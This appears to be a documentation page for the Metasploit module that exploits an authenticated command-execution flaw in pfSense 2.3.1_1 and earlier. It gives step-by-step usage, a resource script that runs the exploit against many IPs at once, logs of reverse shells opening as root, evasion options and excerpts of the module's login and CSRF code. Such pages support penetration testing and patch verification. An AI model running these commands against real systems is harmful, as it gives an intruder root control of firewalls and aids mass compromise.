pfSense authenticated group member RCE - Metasploit


This page contains detailed information about how to use the exploit/unix/http/pfsense_group_member_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: pfSense authenticated group member RCE
Module: exploit/unix/http/pfsense_group_member_exec
Source code: modules/exploits/unix/http/pfsense_group_member_exec.rb
Disclosure date: 2017-11-06
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

pfSense, a free BSD based open source firewall distribution, version <= 2.3.1_1 contains a remote command execution vulnerability post authentication in the system_groupmanager.php page. Verified against 2.2.6 and 2.3.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using pfsense_group_member_exec against a single host

Normally, you can use exploit/unix/http/pfsense_group_member_exec this way:

msf > use exploit/unix/http/pfsense_group_member_exec
msf exploit(pfsense_group_member_exec) > show targets
    ... a list of targets ...
msf exploit(pfsense_group_member_exec) > set TARGET target-id
msf exploit(pfsense_group_member_exec) > show options
    ... show and set options ...
msf exploit(pfsense_group_member_exec) > exploit

Using pfsense_group_member_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your pfsense_group_member_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/http/pfsense_group_member_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands as root.

This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.

Vulnerable Application


This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.

Installer:

Verification Steps


  1. Start msfconsole
  2. Do: use exploit/unix/http/pfsense_group_member_exec
  3. Do: set rhost [IP]
  4. Do: set username [username]
  5. Do: set password [password]
  6. Do: exploit
  7. You should get a session

Scenarios


2.3-Release amd64

[*] Processing pfsense.rc for ERB directives.
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
resource (pfsense.rc)> set rhost 2.2.2.2
rhost => 2.2.2.2
resource (pfsense.rc)> set verbose true
verbose => true
resource (pfsense.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pfsense.rc)> check
[*] 2.2.2.2:443 The target service is running, but could not be validated.
resource (pfsense.rc)> exploit
[*] Started reverse double SSL handler on 1.1.1.1:4444 
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
[*] Successful Authentication
[*] pfSense Version Detected: 2.3-RELEASE
[+] Login Successful
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
[*] Manual removal of group aJPEfJLDKT is required.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 5ER6rqZOjOSGjRml;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "5ER6rqZOjOSGjRml\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500

whoami
root
uname -a
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016     root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense  amd64

2.2.6 amd64

[*] Processing pfsense.rc for ERB directives.
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
resource (pfsense.rc)> set rhost 3.3.3.3
rhost => 3.3.3.3
resource (pfsense.rc)> set verbose true
verbose => true
resource (pfsense.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pfsense.rc)> check
[*] 3.3.3.3:443 The target is not exploitable.
resource (pfsense.rc)> exploit
[*] Started reverse double SSL handler on 1.1.1.1:4444 
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
[*] Successful Authentication
[*] pfSense Version Detected: 2.2.6-RELEASE
[+] Login Successful
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
[*] Manual removal of group okUPTvzysL is required.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 7hKg6oD9DkwXYRtt;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "7hKg6oD9DkwXYRtt\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500

whoami
root
uname -a
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015     root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10  amd64

Cleanup


Manual cleanup is required. The group name is printed during exploitation.

Logging


Logging into the web interface writes a line to the system out on the console similar to: pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]

Go back to menu.

Msfconsole Usage


Here is how the unix/http/pfsense_group_member_exec exploit module looks in the msfconsole:

msf6 > use exploit/unix/http/pfsense_group_member_exec

[*] Using configured payload cmd/unix/reverse_openssl
msf6 exploit(unix/http/pfsense_group_member_exec) > show info

       Name: pfSense authenticated group member RCE
     Module: exploit/unix/http/pfsense_group_member_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-11-06

Provided by:
  s4squatch
  h00die

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  pfsense          no        Password to login with
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     443              yes       The target port (TCP)
  SSL       true             no        Negotiate SSL/TLS for outgoing connections
  USERNAME  admin            yes       User to login with
  VHOST                      no        HTTP server virtual host

Payload information:

Description:
  pfSense, a free BSD based open source firewall distribution, version 
  <= 2.3.1_1 contains a remote command execution vulnerability post 
  authentication in the system_groupmanager.php page. Verified against 
  2.2.6 and 2.3.

References:
  https://www.exploit-db.com/exploits/43128
  https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc

Module Options


This is a complete list of options available in the unix/http/pfsense_group_member_exec exploit:

msf6 exploit(unix/http/pfsense_group_member_exec) > show options

Module options (exploit/unix/http/pfsense_group_member_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  pfsense          no        Password to login with
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     443              yes       The target port (TCP)
   SSL       true             no        Negotiate SSL/TLS for outgoing connections
   USERNAME  admin            yes       User to login with
   VHOST                      no        HTTP server virtual host

Payload options (cmd/unix/reverse_openssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Advanced Options


Here is a complete list of advanced options supported by the unix/http/pfsense_group_member_exec exploit:

msf6 exploit(unix/http/pfsense_group_member_exec) > show advanced

Module advanced options (exploit/unix/http/pfsense_group_member_exec):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_openssl):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   HandlerSSLCert                               no        Path to a SSL certificate in unified PEM format
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the unix/http/pfsense_group_member_exec module can exploit:

msf6 exploit(unix/http/pfsense_group_member_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Target

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/pfsense_group_member_exec exploit:

msf6 exploit(unix/http/pfsense_group_member_exec) > show payloads

Compatible Payloads
===================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_perl                          normal  No     Unix Command Shell, Bind TCP (via Perl)
   1  payload/cmd/unix/bind_perl_ipv6                     normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2  payload/cmd/unix/reverse_openssl                    normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   3  payload/cmd/unix/reverse_perl                       normal  No     Unix Command Shell, Reverse TCP (via Perl)
   4  payload/cmd/unix/reverse_perl_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via perl)

Evasion Options


Here is the full list of possible evasion options supported by the unix/http/pfsense_group_member_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/http/pfsense_group_member_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Could not connect to web service - no response


Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:

67:	  def login
68:	    res = send_request_cgi(
69:	      'uri' => '/index.php',
70:	      'method' => 'GET'
71:	    )
72:	    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
73:	    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
74:	
75:	    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
76:	    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
77:	    vprint_status("CSRF Token for login: #{csrf}")

<PEER> - Invalid credentials (response code: <RES.CODE>)


Here is a relevant code snippet related to the "<PEER> - Invalid credentials (response code: <RES.CODE>)" error message:

68:	    res = send_request_cgi(
69:	      'uri' => '/index.php',
70:	      'method' => 'GET'
71:	    )
72:	    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
73:	    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
74:	
75:	    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
76:	    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
77:	    vprint_status("CSRF Token for login: #{csrf}")
78:	

<PEER> - Could not determine CSRF token


Here is a relevant code snippet related to the "<PEER> - Could not determine CSRF token" error message:

71:	    )
72:	    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
73:	    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
74:	
75:	    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
76:	    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
77:	    vprint_status("CSRF Token for login: #{csrf}")
78:	
79:	    res = send_request_cgi(
80:	      'uri' => '/index.php',
81:	      'method' => 'POST',

<PEER> - Did not respond to authentication request


Here is a relevant code snippet related to the "<PEER> - Did not respond to authentication request" error message:

85:	        'passwordfld'  => datastore['PASSWORD'],
86:	        'login'        => ''
87:	      }
88:	    )
89:	    unless res
90:	      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
91:	    end
92:	    if res.code == 302
93:	      vprint_status('Successful Authentication')
94:	      return res.get_cookies
95:	    else

<PEER> - Authentication Failed: <USERNAME>:<PASSWORD>


Here is a relevant code snippet related to the "<PEER> - Authentication Failed: <USERNAME>:<PASSWORD>" error message:

91:	    end
92:	    if res.code == 302
93:	      vprint_status('Successful Authentication')
94:	      return res.get_cookies
95:	    else
96:	      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
97:	      return nil
98:	    end
99:	  end
100:	
101:	  def detect_version(cookie)

<PEER> - Did not respond to authentication request


Here is a relevant code snippet related to the "<PEER> - Did not respond to authentication request" error message:

103:	      'uri' => '/index.php',
104:	      'method' => 'GET',
105:	      'cookie' => cookie
106:	    )
107:	    unless res
108:	      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
109:	    end
110:	    /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
111:	    if version
112:	      print_status("pfSense Version Detected: #{version}")
113:	      return Rex::Version.new(version)

pfSens Version Not Detected or wizard still enabled.


Here is a relevant code snippet related to the "pfSens Version Not Detected or wizard still enabled." error message:

112:	      print_status("pfSense Version Detected: #{version}")
113:	      return Rex::Version.new(version)
114:	    end
115:	    # If the device isn't fully setup, you get stuck at redirects to wizard.php
116:	    # however, this does NOT stop exploitation strangely
117:	    print_error("pfSens Version Not Detected or wizard still enabled.")
118:	    Rex::Version.new('0.0')
119:	  end
120:	
121:	  def check
122:	    begin

<PEER> - Could not connect to web service - no response


Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:

122:	    begin
123:	      res = send_request_cgi(
124:	        'uri'       => '/index.php',
125:	        'method'    => 'GET'
126:	      )
127:	      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
128:	      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
129:	      if /Login to pfSense/ =~ res.body
130:	        Exploit::CheckCode::Detected
131:	      else
132:	        Exploit::CheckCode::Safe

<PEER> - Invalid credentials (response code: <RES.CODE>)


Here is a relevant code snippet related to the "<PEER> - Invalid credentials (response code: <RES.CODE>)" error message:

123:	      res = send_request_cgi(
124:	        'uri'       => '/index.php',
125:	        'method'    => 'GET'
126:	      )
127:	      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
128:	      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
129:	      if /Login to pfSense/ =~ res.body
130:	        Exploit::CheckCode::Detected
131:	      else
132:	        Exploit::CheckCode::Safe
133:	      end

<PEER> - Could not connect to the web service


Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:

130:	        Exploit::CheckCode::Detected
131:	      else
132:	        Exploit::CheckCode::Safe
133:	      end
134:	    rescue ::Rex::ConnectionError
135:	      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
136:	    end
137:	  end
138:	
139:	  def exploit
140:	    begin

<PEER> - Could not determine CSRF token


Here is a relevant code snippet related to the "<PEER> - Could not determine CSRF token" error message:

149:	          'act' => 'new'
150:	        }
151:	      )
152:	
153:	      /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
154:	      fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
155:	      vprint_status("CSRF Token for group creation: #{csrf}")
156:	
157:	      group_name = rand_text_alpha(10)
158:	      post_vars = {
159:	        '__csrf_magic' => csrf,

<PEER> - Could not connect to the web service


Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:

179:	        'vars_post'     => post_vars,
180:	        'vars_get' => {
181:	          'act' => 'edit'
182:	        }
183:	      )
184:	      print_status("Manual removal of group #{group_name} is required.")
185:	    rescue ::Rex::ConnectionError
186:	      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
187:	    end
188:	  end
189:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • s4squatch
  • h00die

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.